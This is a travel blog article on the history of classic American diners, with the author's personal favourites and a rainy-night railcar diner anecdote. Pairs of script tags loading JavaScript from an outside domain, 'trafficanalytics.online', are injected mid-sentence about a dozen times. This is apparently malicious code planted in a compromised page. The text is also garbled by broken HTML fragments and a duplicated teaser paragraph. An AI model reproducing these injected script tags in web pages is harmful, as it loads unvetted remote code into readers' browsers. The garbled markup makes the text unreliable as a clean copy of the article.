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Collecting Classic Diners

by Lesley Peterson

Do you collect diners? I do. Comfort food and coffee always taste better served on hefty diner crockery, and their gleaming lines – reminiscent of old Airstream trailers – inspire dreams of adventure on the open road.

Their association with travel comes naturally as the first diners were mobile lunch wagons. Often they were old rail dining cars, parked by the side of the road, serving as inexpensive all-night eateries. Between the World Wars, new pre-fab units proliferated. Materials were stylish but easy to clean: stainless steel, tile, porcelain enamel, glass blocks. And of course, glorious neon, guaranteed to catch the eye of sleepy or speeding midnight drivers.

Do classic American diners make you dream of travel adventures on the open road? Lesley Peterson gives us a peek into the history, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> evolution and culture of The Diner — and shares favourites from her "collection."” width=”630″ height=”524″ /></a>Classic American diners of the 1920s to 1940s featured Art Deco or Streamline Moderne elements drawn from transportation themes popular at the time. Their rounded lines and chrome accents were a direct nod to era automobiles, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> ships and trains. While diner decor varied over time, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the old railcar layout remained: a service counter dividing the interior, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> floor-mounted stools for customers, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> booths if there was room.</p>
<blockquote><p>Diners are a distinctly North American thing, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> reaching their heyday when gas was cheap and long road trips were a common way for families to spend the summer.</p></blockquote>
<p>Their popularity waned with the growth of fast food chains, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but original diners are cherished now by architecture and nostalgia buffs. On a recent trip to New Mexico, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I had fun using a guide published by the city of Albuquerque to track down a few along historic Route 66.</p>
<h5>Diners are my stuff of dreams</h5>
<p>Old diners themselves are increasingly on the move as they are bought and transferred right across the continent. One of my favorites, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the <a href=11th Street Diner in Miami, is a 1948 classic that, after 40 years of hard work in Wilkes Barre, Pennsylvania, “retired” to Miami’s Art Deco district. Since having a facelift, the diner has made cameo appearances in movies and starred in many a music video. The menu has had a facelift, too, featuring menu items specifically designed to get your body South Beach ready

Do classic American diners make you dream of travel adventures on the open road? Lesley Peterson gives us a peek into the history, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> evolution and culture of The Diner — and shares favourites from her "collection."” width=”333″ height=”249″ /></a></p>
<p>The <a href=Lake Effect Diner in Buffalo, New York, is another charming post-war original,  restored by the Curtin family — who have also renovated classic diner food with fresh ingredients sourced from local farms. I research diners before I hit the road, the rest of my itinerary falling into place around a carefully-crafted list of independent eateries.

Sometimes a diner discovery is pure serendipity. Once, on a night bus north of San Francisco, I peered anxiously over the driver’s shoulder as we drove into a black wall of rain. He eventually pulled off the highway into a tunnel of trees that slapped and scraped our windows for about a mile. There in the rain and fog, under the dripping trees, glowed an old railcar diner. I squeezed past sleeping passengers, ran after the driver and followed him up a few rickety stairs. Inside, the shabby counter was elbow-to-elbow with people all forking up the same thing: five-inch thick slabs of strawberry pie. An immense, sweating young man cut and served his specialty as fast as he could.

I’ve actually dreamed of that diner, the run through dark and rain, the crowded counter, the hardworking cook, the juicy pie. An adventure both culinary and nostalgic, diners are my stuff of dreams.

Would you like pie with that? Stop at Another Roadside Diner, a summer special series on Travel and Escape!